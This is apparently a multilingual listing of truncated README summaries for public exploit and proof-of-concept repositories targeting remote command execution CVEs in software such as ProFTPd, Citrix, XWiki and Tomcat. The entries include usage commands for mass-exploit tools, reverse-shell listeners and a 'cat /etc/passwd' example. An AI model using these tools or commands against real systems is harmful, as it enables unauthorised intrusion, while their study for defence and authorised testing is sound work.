CVE-2015-3306-Python-PoC

CVE-2015-3306-Python-PoC これは、OSCPの学習とエクスプロイト開発の演習として、Metasploitモジュールから調整を加えて変換されたものです。元々はsearchsploitでランダムなリモートコマンド実行モジュールを検索したことから来ています。Metasploitのコードを解析し、Pythonに変換しました。 Proof screenshot:...

CVE-2023-33246

CVE-2023-33246 props.setPropertyを変更し、コマンドを実行する...

CVE-2011-2523

CVE-2011-2523 これらは、管理された環境での攻撃手法の作成に関するメモです。 この演習はブラックボックスであるという前提に立っており、したがって標的システムの情報は不明です。 1- 必要なISO（Metaexploitable2、Kali、またはその他）をダウンロードする 2- 重要：環境はVMwareで設定されているため、両方のマシンをこのハイパーバイザーで実行する必要がある 3- 初期プロセス：ipを実行して2地点間の接続を確認する 4- nmap -sV -Pn 192.168.253.128 を使用する。認識を実行すると、複数のポートが見つかる 21 ftp vsft...

CVE-2024-4358_Mass_Exploit

CVE-2024-4358MassExploit @sinsinology のツールを改変して、マスエクスプロイトを実行できるようにしたものです。 必要条件 Python 3.x インストール git clone https://github.com/Sk1dr0wz/CVE-2024-4358MassExploit.git cd CVE-2024-4358MassExploit pip intstall -r requirements.txt 実行方法 usage: python CVE-2024-4358.py --target-file targets.txt -c "whoami...

CVE-2025-49619

CVE-2025-49619 PoC 该脚本利用 Skyvern 中的 CVE-2025-49619 漏洞执行反弹 shell 命令。 作者 姓名： Cristian Branet GitHub： cristibtz 使用方法 1. 启动监听器 nc -lvnp 2. 运行漏洞利用程序 python3 exploit.py -u "http://:" -k "" -i -p ：Skyvern 服务器 IP ：Skyvern 服务器端口 ：你的 Skyvern API 密钥（设置 → API 密钥） ：用于接收反弹 shell 的你的 IP ：反弹 shell 端口（必须与你的监听器一致）...

CVE-2021-31760

..| CVE-2021-31760 |.. Description : 利用跨站请求伪造CSRF攻击，通过Webmin的运行进程功能获取远程命令执行RCE。 Tested Version : Webmin 1.973 GitHub最新版本 07/03/2021 Attack Type: 远程 Impact : 远程命令执行 利用代码POC : YouTube POC : https://youtu.be/D45FN8QrzDo 产品厂商 : https://www.webmin.com 附加信息 :...

CVE-2025-24893-PoC

CVE-2025-24893 – XWiki リモートコマンド実行 概念実証 概要 このリポジトリには、XWiki に影響を与える 認証不要のリモートコマンド実行 RCE 脆弱性 CVE-2025-24893 の 管理された概念実証 PoC が含まれています。 この脆弱性により、安全でないサーバーサイドのテンプレートおよびスクリプト評価により、攻撃者がサーバー上で任意のオペレーティングシステムコマンドを実行できるようになります。 XWikiについて XWikiは、一般的に以下の用途で使用されるオープンソースのエンタープライズウィキプラットフォームです： 内部ドキュメント ナレッジベース...

OFBiz-Attack

OFBiz-Attack CVE-2023-49070/CVE-2023-51467 攻撃用ツール テスト環境 vulhub/ofbiz:18.12.09 使い方 起動 java -jar OFBiz-Attack.jar モジュールは全部で3つあり、それぞれ次のとおりです： 脆弱性検出 ターゲットURLを入力するだけで十分です。追加のルートを設定する必要はありません。設定すると後続のモジュール利用に影響します。HTTPSリクエストの送信のみをサポートしており、実行速度はWebサーバーの性能に依存します。...

CVE-2024-7954

CVE-2024-7954 このエクスプロイトは、SPIP ターゲット CVE-2024-7954 に対してシステムコマンドの実行を試みます。 概要 これは CVE-2024-7954 用の一括スキャンおよび悪用ツールです。SPIP 4.2.8 では、認証されていない攻撃者が SPIP ターゲット上で RCE を実行できます。このツールは、こちらの セキュリティ研究 に基づいています。 使い方 スクリプトの依存関係をインストール: pip install -r requirements.txt オプション: POC for SPIP 4.2.8 vulnerability options...

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution

UnrealIRCd 3.2.8.1 バックドア コマンド実行 UnrealIRCd 3.2.8.1 のバックドアを利用したコマンド実行エクスプロイト Python 3 版 CVE-2010-2075。 説明 UnrealIRCd バージョン 3.2.8.1 には、リモート攻撃者が任意のコマンドを実行できるトロイの木馬が含まれています CVE-2010-2075。 このスクリプトの作成にあたり、Metasploit のペイロード payload/cmd/unix/reverseperl を参考にしました。 使用方法 リスニングホストで Netcat リスナーを起動します: nc -lp...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Windows上のApache Tomcatでのリモートコード実行 cgi-bin 使用方法： Usage: python CVE-2019-0232.py url cmd テスト環境： jdk8 apache-tomcat-8.5.39 https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/apache-tomcat-8.5.39.zip...

CVE-2019-19781

CVE-2019-19781 Citrix Application Delivery ControllerおよびCitrix Gateway向けリモートコード実行エクスプロイト CVE-2019-19781 使い方 : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE 例 : bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd'...

PIL-CVE-2017-8291

Python PIL リモートコマンド実行の脆弱性（GhostButt） Python で画像を処理する PIL（Pillow）モジュールは、内部で GhostScript を呼び出すため、GhostButt 脆弱性（CVE-2017-8291）の影響を受け、リモートコマンド実行の脆弱性が発生します。 脆弱性の概要 PIL は内部で画像ヘッダー（マジックバイト）に基づいて画像タイプを判別します。EPS ファイル（ヘッダーが %!PS）と判別された場合、PIL/EpsImagePlugin.py に処理が振り分けられます。 このモジュールでは、PIL はシステムの gs...

CVE-2024-56145-craftcms-rce

スクリプトを再度実行する前に、次のコマンドを実行してください： fuser -k 6666/tcp 使用方法 - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 カスタムコマンドも使用できます。例：python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i はあなたのIPまたはVPSのIPです（ipconfig / ifconfig で確認できます）。 例：python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t...

Malicious code in req-throttle-mini (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

sunlogin_rce

前書き 特に言うことはありません。ツールと脆弱性のあるバージョンをそのまま公開します。ローカルで試すにはとても良いものですが、違法なテストには使用しないでください。 テスト済みの向日葵クライアントの脆弱性バージョン:11.0.0.33162 脆弱性のあるクライアントはソースコード内に同梱されています。 ポートスキャンには次を使用:https://github.com/jboursiquot/portscan 脆弱性のあるバージョンフィードバックに基づく 11.1.1 10.3.0.27372 11.0.0.33162 コマンド説明 -h ターゲットを指定 -t...

CVE-2015-3306

ProFTPd 1.3.5 リモートコマンド実行 作者 : David Tavarez @davidtavarez ソフトウェア: ProFTPd 1.3.5 with modcopy テスト済み : Debian 4+deb7u2 ProFTPD 1.3.4a Debian-4+deb7u1 ProFTPD 1.3.4a CVE : 2015-3306...

hfs-cve-2014-6287-exploit

HFS CVE-2014-6287 エクスプロイトツール 概要 このリポジトリには、HTTP File Server HFS バージョン 2.3.x の CVE-2014-6287 脆弱性を悪用するために設計されたPythonベースのエクスプロイトツールが含まれています。この脆弱性により、攻撃者はサーバー上で任意のコマンドを実行でき、不正アクセスや制御を引き起こす可能性があります。 ⚠️ 免責事項: このツールは教育目的および許可されたペネトレーションテストのみ...

CVE-2023-42793

CVE-2023-42793 仅供教育用途 CVE-2023-42793 的 PoC 用法 CVE-2023-42793admin.sh： chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port 运行证明： 用法 CVE-2023-42793rce.sh： chmod +x CVE-2023-42793rce.sh ./CVE-2023-42793rce.sh ip/domainname port command 运行证明：...

CVE-2024-24576-PoC-Python

CVE-2024-24576-Poc-Python ここで開示されている脆弱性のクイックPOCです: https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ スクリプトを実行すると、BATファイルに渡す引数が求められます。 スクリーンショットでわかるように、「"」を追加することで、Windowsがcmdを呼び出すために使用する基盤APIをエスケープでき、任意のコマンド実行が可能になります。この例ではcalc.exeを起動しました。...